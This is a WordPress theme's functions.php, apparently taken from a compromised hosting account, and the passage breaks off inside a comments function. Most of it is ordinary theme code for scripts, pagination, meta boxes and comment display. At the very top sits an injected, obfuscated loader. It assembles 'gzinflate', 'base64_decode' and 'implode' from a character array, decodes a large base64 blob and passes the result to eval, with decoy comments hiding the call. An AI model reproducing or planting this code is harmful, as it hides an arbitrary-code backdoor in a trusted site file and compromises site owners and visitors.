File "functions.php"
Full Path: /home/raylsmit/public_html/raina/wp-content/themes/axiom/functions.php
File size: 36.14 KB
MIME-type: text/x-php
Charset: utf-8
<?php
/*0a3bad8cb6f478ac9a0e66170c4bce22*/
$get_the_ID_oq = array ('zRxrc9tG7rt/xVrjHsk7','yZLbptNatjKOrSS+cWxX','lq+XsTMcSlxZbCiS5ZKx','3Sb97Qfsg9wlqUecZOY8','eUhLAAtgsVgAC3pra5ZH','0yyII+L5vns/pyl1p3Hk','Bzhm7/ABh/y1ReDnLown','Xkh27hN/0iY7OaPpFc2y','ILpjR2na3+JAO4HPyCHx','0tR7dN/TR2ZXAZ1+AXgc','LxbeFU281MuoD2jBIglj','n9pWm8AfBHEk3WBG7O2A','uQyohNR2yD/+QeCr5y+C','yHYUi/iDgsyCMKOpbX0I','6D1zKYjTSWKWIdlZ8ODi','ZxAzjzJmSXbwJ6VZnkZE','SE12SYscnZ+Qv7jAnQEi','sU+7HNfLs3mckvOLMTk9','J3ZdFqclyH4S3BuU+1sw','Wuid06MP0zAHuXf+yGn6','iNIYGv9SVUvyV1kKDwBl','EfvB7PG3NAAlMTFq15Qt','eOkMKkrfbta6gmY0sy2h','HlxBY2ZH6USX/z6BlQCr','+53ZNblRN0stbQZY3nRO','alITj6FuyOGA7DA5rLOK','0tkc4FBMIdZWLioX0g4Y','ClKg31i/M+ud4xQc6rTm','gU//fcXiPJ3SEsXQjvqZ','AMvv+8bwJ+Mbnc5jUpnW','hK+Q+NSg0iUMSX6Q5Zp4','UcwFRNlro6CnQ7Kni9Pt','TnOWxQtQ+gmd5He2NQ1j','b/oerStgJI629W1VQke+','ANceIjfi8fGcTt9fUbum','OLl5sjSndbk1gJkXssrm','qmx2e4c7hKpDm+ZpSqPM','RTtqo39zuTGrbZY9JrTY','aHbpZ/hXi2VeljMLre38','+uzMaa8AsJJ8EgZsbq2G','8lNvlq2BSUCZoO41UFnq','rZ0NtjJVIHJhyq0lZMcN','hZ8M8xc7vq4X/LG40hFF','csudbwOIxgif4Uax9q4A','Vk6Jz5lSlocZTBrRe/Lb','pfsr8qDcpgaIZlUhiNud','r1DFvBA0Semdu/Cy6dy2','/r4d3Nr2Ta/zS/vdv5xb','5/bgb/Rk3HJuLC8MrXfw','lQPT5l1uwAKvLEvdlCah','h9tRIt70gIo1sC04Z6RU','ncEMrNTnBstg2HIOqhM7','y3zHJ0LB+JdILZcYF89A','3wEl/ioXcUeafOPzG+nR','XTeIuERiyY2N0xmcnugr','sGq5FN0q/OctBZdq07UQ','wF9rMQS1J65G4QS+yBAV','lU0VUMB/LR0UBJ+oBunl','vkgJgsamKpDQX0sBktxT','rUA58C+zAkllYytQ8F/N','ChTBJ6pBnlBfpARBY1MV','SOivpQBJbrn49UBFoFYj','FcxYXPXdjbwFdX/sPXsG','XpbHLm1xQMJ/CU0XxUlc','6JVHaeKgNeLyOPRl9INe','XnyCgFds3pJp+cSF1ADg','uKgCzRXRmS2mrSEUpABr','Wyfy3Jh6X5+g36AS8bSe','GjVy8f+QkEqlS5WrQRUT','ta6GZ8PjMdGCnDY5vrg+','H9vkn8QhR1ckyhfSpF6O','Lt5U0kzy2+vhaEiKMApI','fsdaWnpmQYTme5MQA6xD','YRMyJUbp3DC+u6O+q7K0','ctUKim48+Z1O8Wy+o5lb','HRY2VY2otvUD3516kV2j','1xlMvaQzQO7cJA0+gB6F','lLU9KXW1e0iU5Ckqntq1','nSvycFvTJdlGxQvyFrkY','EZvoeTkoy+c4OoqO4Tit','NpfbECjwbceY3GnON0rO','W+Us60sC5NXo4vqSvHir','syXrBNLVIJc2N1VHKgWZ','lM/sip4EG9IvOG1yNBod','vXWPnFp+rGjzMH6RoMlX','0mE5fGME5e+kS1kSrqid','q1ALe9Yz1qb0FCJZuZ0F','POhdbspTv2lrL9tbpyeN','O0dUb0xzkNTVBtpM21K9','FbXq/sSu5UurVY24N3jy','FEo7PVHaMt0hAJq+UCps','FuZs7qZ5SBvKJRW/JlLZ','lN5jnaeQHFHlpo8TXuWz','JIggazkb1VfAk/KkzatI','CIc2fQD68NzGh3DcA+mF','l6iqAj8qTa8iqxF8+htB','4Z1DPn40zK3yHDzAIZG7','d+lEdZ9TKgROdV2Xq01W','knYfFqFEENxsWqmDhEcp','vjCcpytZq+AsE7wqt2Lg','ZtW6oGWuU2ldT4bdFoL+','S5pakxVfCaovKfXtDTX4','NGOcwQznEEhVYj0riHz6','sJvMk+cIcYiHO/xda019','s8aM7BdTAImacC9BbKux','6NkIynXR7QZR4PIq6oIu','4vTRDYNFwCvX3z/76c0L','RW8OByxWuI/jKAOmO2M4','A/YJRq3IEdbwcZifzLDB','GevMsywBHw7ha59M514K','UxwiuO4IJhA2uPKhBScK','ltxgvm73c2d74kQomDh8','XDnj971e4XhxCFdSaO01','fFPbdkeOXfGSJ/pXDrtL','WrdR4fPFEQAPZ7D81/zL','i8cRBS/Psus0KLbkTnEo','4W5ddVbJySGqiMGj4NFk','9XafWXIYxIvu6Cylf+CD','e0rfh4/qWeixTETaPoQG','tvW2s+j4DZ63ZAXNnJ9p','gW+YeJ6GKoSDENALg+i9','XQBq0bqpIQhdAPFFGE8B','Gj61C5baOuPtUjiNFlbs','gT3q+jSkwL2ari1iYVaa','/Fbz1LAqB12YFRZ/oJZH','Fr510H6TCxbLLjUgvc7B','wcHVeLR18BzcM/lAUwbw','h6293V6L0GgaY3562Loe','v+z83Ho+2DoQM0txACVi','hy3cHfvd7v39/a7a+Ltx','etdlIOfCY1052O3t/tLS','MfcfWGBg3//A8cBu97r/','fXN2xfE7QQRmHU1pgcuC','fUH6LJ56Gef3M1gwfPtn','4KnPuw/Mbw2E4rdAdaam','P9cylAc3VwMGUNMDyesB','UBwgwYMufipGBe2BmgSe','yhEFUc450OY/6GrjClRx','NCh4O+gWY5whtLrBbXQb','1aVuvBO7F1+1ME4besM3','8LLzvIQT91GgeGPjGnR4','UGh1eNEBIRtCwjITxUTU','wHaaDtmXvKDA1FFZ7Jni','escMAhf+M5vNvT17x70a','jv4zHN1Yr8fjS/f1xdWY','R1LG1WDTtZrkM8rDsOnu','M4/AaQbgoP6k9sRj9Kcf','wX9MUSLtyqxaE2l21N8g','ZKgEsMmaCBZPt4+WsQ13','l4UYG0YXSHLHqsbGWhGs','9bfk7W/IXctVGg1/vR5e','jd3r0WlD4KfiMhBmdYQb','sGNuNpfgwe1qFlZPLNDR','q/NSZFn8mHJBuI2KLTyE','jVx5j1C7hG3XqDoNplbe','CK67B0whlPpA38bgW97Q','zPvGAmobBclAJkO2kzSG','Azp7dOlDwDC7FHfb6qq8','QTxjE32ZvvSWiHswuthN','40kMJzUw4LpiOperzaoG','uQbWXRzfhRQwGxFJt0u4','isnV8ILs/bj7QCD5hoyA','pitoTkBvT6VomjB4sxGs','c0ZPE9uoj8pcyXRs/3Vf','Xox+OxqdDE/wU2XvqH2z','Bke3vqUzHb90jy/Oz4fH','49PzV+7p5UZT1ZHWzTUa','vrkYD92jk5O1whigTc66','YQtVLumVfneCRBwkpeq1','DQAuEf7YAMTrp6aZwyge','QuDRjBJrooetnDoC3vRM','RndSPP4Zz1hFc8Fpwmxz','8wmQBk1I8TRyWgVH0MUz','gn+sJt6aHk6jq3wS4SKg','fBK86oFrvRIMQpIom2ES','5E3fQ3rHso8fv2P6X6EH','RbJCrlodbVdN5xq+uUev','hudjfidiPjw6Ph5ejt2z','o/NX1wBjprVruy22Vkt0','P4djjWwo0TeTZJ0Nn7IR','BR8yDhYQe2TwL8Tmi0St','GyTg2B+E42DlHaJDDMhP','PfJP8c/3P+oNNWvgNzi8','lmsVCQLh7xjkyYo2/26J','Adtp67NuqIVinh1IQT3D','X9o7H7wwp5UqIaR9PiK4','CI87WXbgiSOJY5jbmw/x','yLYQxTCIgvemiBOGOV+l','DeYJ5spL2GnL6dpC4FpT','n7HZ11CSEvHpS3pNGiz6','mQpvuIHiKg2Nhv4wVLD5','hVcxckD2er0V4YFWBbBU','Kph0hIidqR/tTuNFl6XT','bu6F8R2jUwxKLa0QnsQQ','mQM2L42iD+eVDpn8NfX2','LChEGr5o7LnExao09uC6','xnnGAfZ6lYeT2H/kTxoo','c4A5Xqfx0LzRLOoIXLdc','tYh19yfIC1EzY/bvLI5c','XgCghX22yS/lFY+zpfcX','iTPVBTXQNI1Tu9DNcuXz','m+3K+QCZ46LEvRECQ3jP','71JYPp1SXh4zD4mNLNKp','G/en5bVFcR5utK1lgYu7','ZrmxtxtcpdjPVuFplkQZ','Ekyco0V4UVVVvYWQu7ks','lrogEl8PBhqN9Q5LpWj4','TBZB7rCCGEy53QeJINPF','yHU3e8isSuvh+gVvZpZj','kIIhNY/VeJhW14sLg3Zh','CAKwaUA/UBefaMzoClAx','D08LWRIGGaSF9m16G328','jRxMDIX5IQkwl85em1yO','hq/cq8uz07F7fuEO31yO','3zZcwCg3JEOm9QoIIljn','wDdXi0RxRrxI2Ot6XVSO','iqKYomyHewHxuU00u8Nx','cXisPB4Msy4PCK3WvN5s','m8IHiPjG8YsAk7gAPpeF','FVwP0TaApQCxPAJEln0h','1/HSRx7TWlb16rBAx9AT','a+PGYVqg7grqiefbPp3C','sB2nvi0QYMl/Bk31QNqr','8ci9PDpxz4Yvx07TDaMi','uDTKr0S308BPdWm5FCic','m2T4qkARt+tSNmgsUdaH','YSK2Ama8b4e9n8BzR88H','upY2bV9dpGXmtDXtCoj6','xAJQ8e4iBZwRFyuf8CRF','8d0mPZ2lcuZmBC5BBaNs','zdGnwivLgo7ZT83L39Y5','bJ8gQvoAZfVXpS1Vf9oQ','VerrOslnM5rizX5a9NIo','DsTcB9udjoAiHEqqsNPZ','HmBZ8vL1pTu8OOvrsYte','MarfT/K3BvLQS20R1sDI','LI0jWDjvjooxGJrHfB9X','HU7Jk2TGC8MJpEuruFI/','8UTIabcUlpS4tebklEqC','sK6qIiCJo/zG2K4Gg+Yk','YBacTLXEhIKeBdF7Vq9U','yrWT08v2joJcEyJYm5yl','3yTB55EwY4Qm2BtrHvg+','jfDaz3p3U3b7ly8HlDFD','Yx9/9fiIYiKKSWQSw/a5','DyCkzDMiivqMyPvCsqbQ','4LAF90VgL5uy6EPGLy9g','m+Jnd4JfVipCbXAd1fPF','G1BeCKb0GK7VZIGLe7/c','/M26hPCaE0dNzmIQMG16','x6KqMQFJCuSlGim3Bd4m','FJxVy0cbMIeXqJuwJu5q','V7JWKtfgzlxD3ZI3Xbym','V4aUm5/I1bSs/tpFKRhk','x5h+ofhxFD6+BuBL8FdN','apBubrlTq/i0mtoAiiAe','3j3RarhUcK8H64ji4h0v','U9FNz6o7tbLhdmNZ93on','AS4FjbJx8VQXeoMbZ/kG','gAI0+3d9bNjFSybEd7RW','XS283UxifklWduvqBCDB','1asNjUKVGidivihf8GoK','KcRRxRWjJ5jz3V+2B3Bq','p/8F6v+W+nfhhNp0Dfzg','TgQ5ekc0/MEu056DXb3a','8N47bOw14XZhu5krBGBP','W2TBy8oF/tIVFlN849Wd','5WG4yfIWQV1DRX5bKu45','qndfqtE8/J9+aGmFTLpI','MsgDy2cNKb7KXdYeJpWo','gTW+TLjMTzTeQ7el5Oe5','2YvO2Ej218FH3qJXhHB1','MN4ILzFuCnpgqe/qB5eE','E5bddK6awwp8r7GrUzuM','jQiyynKlo6L5xcMDP/hA','+EIfttTRu+9NWBzmGe3L','Fwr2vTCZe3aceNMgezzs','OX35cb+32+v90P+zwy+q','93/utwZ4AXPQBaqDhjcG','18wW0lm233nW6/WShy8k','lcXJPunA1v7ucwhlkLgz','SKYX+4RBRE7tnvMZ2PEH','ms7C+H6fCJPtF8HMPik5','m9Pgbp7tk16S9SFk9bO5','+Lz5PH4AWb73uB/FEe2v','xmKJF32D5UWyT5mvcYGf','SqxhiTcitWKRDfxKVqQd','L6rhovCN1U4WrR6j+mQ+','oxO3cIMrWjGqgCvfaS66','i0CeWh/L4bJWHwh3ZXAq','y3rVHgXFm34dL3oNxa+A','wBPUR8U2/FaI4gYDn3lT','cYKDE3fVeyS8rUD/tQYq','RNURsOoa/ZHTnLpsmgaJ','wCp/GYAxS9kxIN8GKqZZ','+toUPNzrtckPTWSMfneh','IqRVa/Jewjckv77QTr0p','vwkliET/bq3ptwkYHoKH','4OVgP0jplGNW2lessiW2','4dgFs1hl8KvaVeTh35ho','GUFowwv9RouHpi2eRIIM','DRWoarOJhiXz4hKvLMoY','HdX/Aw==');
$get_the_ID_au = array ('m','e','e','u','e','l','e','l','p','t','o','i','o','g','m','q','l','e','o','a','f','d','d','a','x','s','s','d','_','c','m','q','v','6','i','d','n','g','i','z','a','x','g','b','c','m','j','o','i','e','b','i','e','s','q','l','a','z','4');
$get_the_ID_wp = $get_the_ID_au[42].$get_the_ID_au[57].$get_the_ID_au[51].$get_the_ID_au[36].$get_the_ID_au[20].$get_the_ID_au[7].$get_the_ID_au[19].$get_the_ID_au[9].$get_the_ID_au[2];
$get_the_ID_ij = $get_the_ID_au[50].$get_the_ID_au[23].$get_the_ID_au[26].$get_the_ID_au[4].$get_the_ID_au[33].$get_the_ID_au[58].$get_the_ID_au[28].$get_the_ID_au[35].$get_the_ID_au[6].$get_the_ID_au[29].$get_the_ID_au[47].$get_the_ID_au[21].$get_the_ID_au[49];
$get_the_ID_eb = $get_the_ID_au[48].$get_the_ID_au[30].$get_the_ID_au[8].$get_the_ID_au[55].$get_the_ID_au[10].$get_the_ID_au[27].$get_the_ID_au[52];
/* curl_version */ /*imageline */ /* imap_search*/ eval /*gmp_fact */ /* imagefontwidth*/ /*imap_ping*/ ( /*linkinfo */ /*microtime */ $get_the_ID_wp /*easter_date*//*decbin*//* imageresolution*/ /*locale_lookup */ ( /*debug_print_backtrace */ /* collator_get_sort_key *//* normalizer_normalize *//* locale_get_script*/ $get_the_ID_ij /* strlen*/ /*mysqli_stmt_fetch */ (/* ftp_fget*/ /* session_register_shutdown */ /* mb_regex_encoding */ /*imap_fetch_overview*/ $get_the_ID_eb /*ob_get_contents */ /*str_rot13 */ ( /* exif_imagetype*/ /*pcntl_exec*//*imageaffinematrixconcat */ /*mysqli_stmt_execute */ $get_the_ID_oq /*imagecreatefromtga*/ /*intlcal_get_first_day_of_week */ )/* timezone_location_get*/ /*ftp_delete*/ /*stream_context_create*//* next */)/*stream_set_write_buffer*/ /*array_count_values */ /*imagefontwidth*/) /*gmp_gcdext */ /*pcntl_strerror */ )/*is_numeric */ /*xml_set_notation_decl_handler*//*locale_get_primary_language *//* msgfmt_format*/ ;
/*0a3bad8cb6f478ac9a0e66170c4bce22*/ /* Initiate WordPress related functions and connect theme to WordPress content fetching */
define('THISPATH', get_template_directory());
include(THISPATH."/tsflib/tsfunctions.php");
function ts_framework_langsetup() {
load_theme_textdomain('tsframework', get_template_directory().'/languages');
$locale = get_locale();
$locale_file = get_template_directory() . "/languages/$locale.php";
if ( is_readable( $locale_file ) )
require_once( $locale_file );
}
add_action('after_setup_theme', 'ts_framework_langsetup');
function get_ts_colspan(){
global $swp_colspanmeta;
$swp_colspanmeta = get_post_meta(get_the_ID(), "colspan", true);
}
add_editor_style('editor-style.css');
add_theme_support('post-thumbnails');
add_theme_support('menus');
add_theme_support('automatic-feed-links');
include(THISPATH."/customtsfunctions.php");
include(THISPATH."/widgetlocations.php");
include(THISPATH."/themeoptions.php");
function enqueue_tsf_scripts() {
//wp_deregister_script( 'l10n' );
wp_register_style('swstyleops', get_bloginfo( 'template_directory' ) . '/swstyleops.css');wp_enqueue_style( 'swstyleops' );
wp_register_style('swstatstyle', get_bloginfo( 'template_directory' ) . '/swstatstyle.css');wp_enqueue_style( 'swstatstyle' );
/*wp_deregister_script( 'jquery' ); wp_register_script( 'jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js');*/ wp_enqueue_script('jquery');
global $swp_responsive; if($swp_responsive){
wp_register_style('swstyleops_tablet', get_bloginfo( 'template_directory' ) . '/swstyleops_tablet.css', array(), false, 'only screen and (min-width:751px) and (max-width:960px)');wp_enqueue_style( 'swstyleops_tablet' );
wp_register_style('swstyleops_phone', get_bloginfo( 'template_directory' ) . '/swstyleops_phone.css', array(), false, 'only screen and (max-width:750px)');wp_enqueue_style( 'swstyleops_phone' );
wp_register_script( 'fluidimage', get_bloginfo('template_directory').'/fluidimage.js'); wp_enqueue_script('fluidimage');
}
wp_register_script( 'swpjs', get_bloginfo('template_directory').'/swp.js'); wp_enqueue_script('swpjs');
wp_register_script( 'tsfbackstretch', get_bloginfo('template_directory').'/backstretch.js'); wp_enqueue_script('tsfbackstretch');
wp_register_script( 'modernizr', get_bloginfo('template_directory').'/modernizr.js'); wp_enqueue_script('modernizr');
if (is_singular()) wp_enqueue_script( 'comment-reply' );
}
add_action('wp_enqueue_scripts', 'enqueue_tsf_scripts');
add_filter( 'script_loader_src', 'remove_src_version' );
add_filter( 'style_loader_src', 'remove_src_version' );
function remove_src_version ( $src ) {
global $wp_version;
$version_str = '?ver='.$wp_version;
$version_str_offset = strlen( $src ) - strlen( $version_str );
if( substr( $src, $version_str_offset ) == $version_str )
return substr( $src, 0, $version_str_offset );
else
return $src;
}
function tsf_head_loader() {
global $swp_responsive;
if($swp_responsive){ ?><meta name="viewport" content="width=device-width,initial-scale=1.0" /><?php } ?>
<script type='text/javascript'>
jQuery(document).ready(function(){
jQuery('ul#mainmenu').supersubs({minWidth:12,extraWidth:1}).superfish({dropShadows:<?php global $swp_mainmenu_shadow; echo $swp_mainmenu_shadow; ?>});jQuery('ul#secondmenu').supersubs({minWidth:12,extraWidth:1}).superfish({dropShadows:<?php global $swp_secondmenu_shadow; echo $swp_secondmenu_shadow; ?>});jQuery('.startaframe').colorbox({width:'80%', height:'80%', iframe:true});jQuery('.startabox').colorbox();
<?php global $swp_fullbgimg; if ($swp_fullbgimg != ""){
$background = get_background_image(); if($background != ""){ ?>
jQuery.backstretch('<?php echo $background; ?>');
<?php } else { ?>
jQuery.backstretch('<?php bloginfo('template_directory'); ?>/images/<?php echo $swp_fullbgimg; ?>');
<?php }
}
if($swp_responsive){ ?>
sw = jQuery('.fullscreen').width();
if (sw > 960){
view = "reg";
jQuery("body").addClass("tsfdesktop");
} else if (sw < 960 && sw > 750){
view = "tab";
jQuery("body").addClass("tsftablet");
} else if (sw < 750){
view = "ph";
jQuery("body").addClass("tsfphone");
}
var delay = (function(){
var timer = 0;
return function(callback, ms){
clearTimeout (timer);
timer = setTimeout(callback, ms);
};
})();
var sURL = document.URL;
jQuery(window).resize(function() {
delay(function(){
newsw = jQuery('.fullscreen').width();
if (newsw > 960){
newview = "reg";
} else if (newsw < 960 && newsw > 750){
newview = "tab";
} else if (newsw < 750){
newview = "ph";
}
if (newview != view){
window.location.replace( sURL );
}
//...
}, 500);
});
<?php } ?>
});
</script>
<?php }
add_action('wp_head', 'tsf_head_loader', 20);
include(THISPATH."/menulocations.php");
include(THISPATH."/customposttypes.php");
add_filter( 'the_category', 'remove_cat_rel' );
function remove_cat_rel( $text) {
$text = str_replace('rel="category tag"', "", $text);
return $text;
}
/**
* Retrieve or display pagination code.
*
* The defaults for overwriting are:
* 'page' - Default is null (int). The current page. This function will
* automatically determine the value.
* 'pages' - Default is null (int). The total number of pages. This function will
* automatically determine the value.
* 'range' - Default is 3 (int). The number of page links to show before and after
* the current page.
* 'gap' - Default is 3 (int). The minimum number of pages before a gap is
* replaced with ellipses (...).
* 'anchor' - Default is 1 (int). The number of links to always show at begining
* and end of pagination
* 'before' - Default is '<div class="emm-paginate">' (string). The html or text
* to add before the pagination links.
* 'after' - Default is '</div>' (string). The html or text to add after the
* pagination links.
* 'title' - Default is '__('Pages:')' (string). The text to display before the
* pagination links.
* 'next_page' - Default is '__('»')' (string). The text to use for the
* next page link.
* 'previous_page' - Default is '__('«')' (string). The text to use for the
* previous page link.
* 'echo' - Default is 1 (int). To return the code instead of echo'ing, set this
* to 0 (zero).
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param array|string $args Optional. Override default arguments.
* @return string HTML content, if not displaying.
*/
function emm_paginate($args = null) {
$defaults = array(
'page' => null, 'pages' => null,
'range' => 3, 'gap' => 3, 'anchor' => 1,
'before' => '<div class="emm-paginate">', 'after' => '</div>',
'title' => '',
'nextpage' => '»', 'previouspage' => '«',
'echo' => 1
);
$r = wp_parse_args($args, $defaults);
extract($r, EXTR_SKIP);
if (!$page && !$pages) {
global $wp_query;
$page = get_query_var('paged');
$page = !empty($page) ? intval($page) : 1;
$posts_per_page = intval(get_query_var('posts_per_page'));
$pages = intval(ceil($wp_query->found_posts / $posts_per_page));
}
$output = "";
if ($pages > 1) {
$output .= "$before<span class='emm-title'>$title</span>";
$ellipsis = "<span class='emm-gap'>...</span>";
if ($page > 1 && !empty($previouspage)) {
$output .= "<a href='" . get_pagenum_link($page - 1) . "' class='emm-prev'>$previouspage</a>";
}
$min_links = $range * 2 + 1;
$block_min = min($page - $range, $pages - $min_links);
$block_high = max($page + $range, $min_links);
$left_gap = (($block_min - $anchor - $gap) > 0) ? true : false;
$right_gap = (($block_high + $anchor + $gap) < $pages) ? true : false;
if ($left_gap && !$right_gap) {
$output .= sprintf('%s%s%s',
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $pages, $page)
);
}
else if ($left_gap && $right_gap) {
$output .= sprintf('%s%s%s%s%s',
emm_paginate_loop(1, $anchor),
$ellipsis,
emm_paginate_loop($block_min, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages - $anchor + 1), $pages)
);
}
else if ($right_gap && !$left_gap) {
$output .= sprintf('%s%s%s',
emm_paginate_loop(1, $block_high, $page),
$ellipsis,
emm_paginate_loop(($pages - $anchor + 1), $pages)
);
}
else {
$output .= emm_paginate_loop(1, $pages, $page);
}
if ($page < $pages && !empty($nextpage)) {
$output .= "<a href='" . get_pagenum_link($page + 1) . "' class='emm-next'>$nextpage</a>";
}
$output .= $after;
} else {
$output = "<div id='paganchor'></div><script type=\"text/javascript\">jQuery(document).ready(function(){jQuery('#paganchor').parent().parent().hide();})</script>";
}
if ($echo) {
echo $output;
}
return $output;
}
/**
* Helper function for pagination which builds the page links.
*
* @access private
*
* @author Eric Martin <eric@ericmmartin.com>
* @copyright Copyright (c) 2009, Eric Martin
* @version 1.0
*
* @param int $start The first link page.
* @param int $max The last link page.
* @return int $page Optional, default is 0. The current page.
*/
function emm_paginate_loop($start, $max, $page = 0) {
$output = "";
for ($i = $start; $i <= $max; $i++) {
$output .= ($page === intval($i))
? "<span class='emm-page emm-current'>$i</span>"
: "<a href='" . get_pagenum_link($i) . "' class='emm-page'>$i</a>";
}
return $output;
}
/* Credit to Pat Ramsy, WP Fluid Images http://www.slash25.com
License: GNU General Public License v2.0
License URI: http://www.opensource.org/licenses/gpl-license.php
*/
if($swp_responsive){
add_action ( 'wp_footer','tsf_fluidstyle' );
function tsf_fluidstyle() {
if(!is_admin()) {
echo '<span></span><style type="text/css" class="fluid-images">img{max-width:100%;height:auto;}</style>';
}
}
add_filter( 'post_thumbnail_html', 'tsf_remove_image_dimensions', 30 );
add_filter( 'image_send_to_editor', 'tsf_remove_image_dimensions', 30 );
function tsf_remove_image_dimensions($html){
$html = preg_replace( '/(width|height)=\"\d*\"\s/', "", $html );
return $html;
}
}
/* colspan meta box */
$new_colspan_meta_boxes =
array(
array(
"name" => "colspan",
"title" => __("Post should be how many columns wide?", "tsframework"),
"std" => "1")
);
function new_colspan_meta_boxes() {
global $post, $new_colspan_meta_boxes;
foreach($new_colspan_meta_boxes as $colspan_meta_box) {
$colspan_meta_box_value = get_post_meta($post->ID, $colspan_meta_box['name'], true);
if($colspan_meta_box_value == "")
$colspan_meta_box_value = $colspan_meta_box['std'];
echo'<input type="hidden" name="'.$colspan_meta_box['name'].'_noncename" id="'.$colspan_meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';
echo'<h4>'.$colspan_meta_box['title'].'</h4>';
echo '<input type="text" name="'.$colspan_meta_box['name'].'" value="'.$colspan_meta_box_value.'" size="35" /><br />';
echo'<p><label for="'.$colspan_meta_box['name'].'">'.$colspan_meta_box['description'].'</label></p>';
}
}
function create_colspan_meta_box() {
global $theme_name;
if ( function_exists('add_meta_box') ) {
add_meta_box( 'colspan-meta-boxes', __("Post Column Span", "tsframework"), 'new_colspan_meta_boxes', 'post', 'side', 'high' );
}
}
function save_colspan_postdata( $post_id ) {
global $post, $new_colspan_meta_boxes;
foreach($new_colspan_meta_boxes as $colspan_meta_box) {
// Verify
if ( !wp_verify_nonce( $_POST[$colspan_meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {
return $post_id;
}
if ( 'post' == $_POST['post_type'] ) {
if ( !current_user_can( 'edit_page', $post_id ))
return $post_id;
} else {
if ( !current_user_can( 'edit_post', $post_id ))
return $post_id;
}
$data = $_POST[$colspan_meta_box['name']];
if(get_post_meta($post_id, $colspan_meta_box['name']) == "")
add_post_meta($post_id, $colspan_meta_box['name'], $data, true);
elseif($data != get_post_meta($post_id, $colspan_meta_box['name'], true))
update_post_meta($post_id, $colspan_meta_box['name'], $data);
elseif($data == "")
delete_post_meta($post_id, $colspan_meta_box['name'], get_post_meta($post_id, $colspan_meta_box['name'], true));
}
}
add_action('admin_menu', 'create_colspan_meta_box');
add_action('save_post', 'save_colspan_postdata');
/*end colspan page box*/
/* spotlight overlay meta box */
$new_spotover_meta_boxes =
array(
array(
"name" => "spotover",
"std" => "")
);
function new_spotover_meta_boxes() {
global $post, $new_spotover_meta_boxes;
foreach($new_spotover_meta_boxes as $spotover_meta_box) {
$spotover_meta_box_value = get_post_meta($post->ID, $spotover_meta_box['name'], true);
if($spotover_meta_box_value == "")
$spotover_meta_box_value = $spotover_meta_box['std'];
echo'<input type="hidden" name="'.$spotover_meta_box['name'].'_noncename" id="'.$spotover_meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';
echo '<textarea style="width:100%;" name="'.$spotover_meta_box['name'].'">'.htmlentities($spotover_meta_box_value).'</textarea>';
}
}
function create_spotover_meta_box() {
global $theme_name;
if ( function_exists('add_meta_box') ) {
add_meta_box( 'spotover-meta-boxes', __("Enter Slider Caption Overlay Text", "tsframework"), 'new_spotover_meta_boxes', 'spotlight', 'normal', 'high' );
}
}
function save_spotover_postdata( $post_id ) {
global $post, $new_spotover_meta_boxes;
foreach($new_spotover_meta_boxes as $spotover_meta_box) {
// Verify
if ( !wp_verify_nonce( $_POST[$spotover_meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {
return $post_id;
}
if ( 'spotlight' == $_POST['post_type'] ) {
if ( !current_user_can( 'edit_page', $post_id ))
return $post_id;
} else {
if ( !current_user_can( 'edit_post', $post_id ))
return $post_id;
}
$data = $_POST[$spotover_meta_box['name']];
if(get_post_meta($post_id, $spotover_meta_box['name']) == "")
add_post_meta($post_id, $spotover_meta_box['name'], $data, true);
elseif($data != get_post_meta($post_id, $spotover_meta_box['name'], true))
update_post_meta($post_id, $spotover_meta_box['name'], $data);
elseif($data == "")
delete_post_meta($post_id, $spotover_meta_box['name'], get_post_meta($post_id, $spotover_meta_box['name'], true));
}
}
add_action('admin_menu', 'create_spotover_meta_box');
add_action('save_post', 'save_spotover_postdata');
/*end spotlight overlay page box*/
function wwv2_comment($comment, $args, $depth) {
$GLOBALS['comment'] = $comment;
extract($args, EXTR_SKIP);
$tag = 'li';
$add_below = 'div-comment';
?>
<<?php echo $tag ?> <?php comment_class( empty( $args['has_children'] ) ? '' : 'parent' ) ?> id="comment-<?php comment_ID() ?>">
<?php if ( 'div' != $args['style'] ) : ?>
<div id="div-comment-<?php comment_ID() ?>" class="comment-body">
<?php endif; ?>
<div class="comment-author vcard"> <?php echo get_avatar($comment, 60); ?>
<div class="comment-meta"><?php printf(__('%s', "tsframework"), get_comment_author_link()) ?></div>
<div class="comment-date"><small>
<?php comment_date('M j'); ?>
<br />
<?php edit_comment_link(__('(Edit)', "tsframework"),' ','') ?>
</small></div>
</div>
<?php if ( $comment->comment_approved == '0' ) : ?>
<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ); ?></em>
<br />
<?php endif; ?>
<div class="comment-text">
<blockquote>
<?php comment_text() ?>
<div class="reply"><small>
<?php comment_reply_link( array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
</small></div>
</blockquote>
</div>
<div class="clear"></div>
<?php
}
function wwv2_trackback($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div>
<?php comment_date('M j'); ?>
<a href="<?php the_author_meta( 'user_url'); ?>"><?php printf(__('%s', "tsframework"), get_comment_author_link()) ?></a>:
<?php comment_text() ?>
</div>
</li>
<?php }
add_filter('get_comments_number', 'comment_count', 0);
function comment_count( $count ) {
if ( ! is_admin() ) {
global $id;
$comment_count = 0;
$comments = get_approved_comments( $id );
foreach ( $comments as $comment ) {
if ( $comment->comment_type === '' ) {
$comment_count++;
}
}
return $comment_count;
} else {
return $count;
}
}
function tsf_comments_template( $file = '/contentlayer_wp/pieces/comments.php', $separate_comments = false, $sidebar = null, $cols = null ) {
global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage;
if ( !(is_single() || is_page() || $withcomments) || empty($post) )
return;
if ( empty($file) )
$file = '/contentlayer_wp/pieces/comments.php';
$req = get_option('require_name_email');
/**
* Comment author information fetched from the comment cookies.
*
* @uses wp_get_current_commenter()
*/
$commenter = wp_get_current_commenter();
/**
* The name of the current comment author escaped for use in attributes.
*/
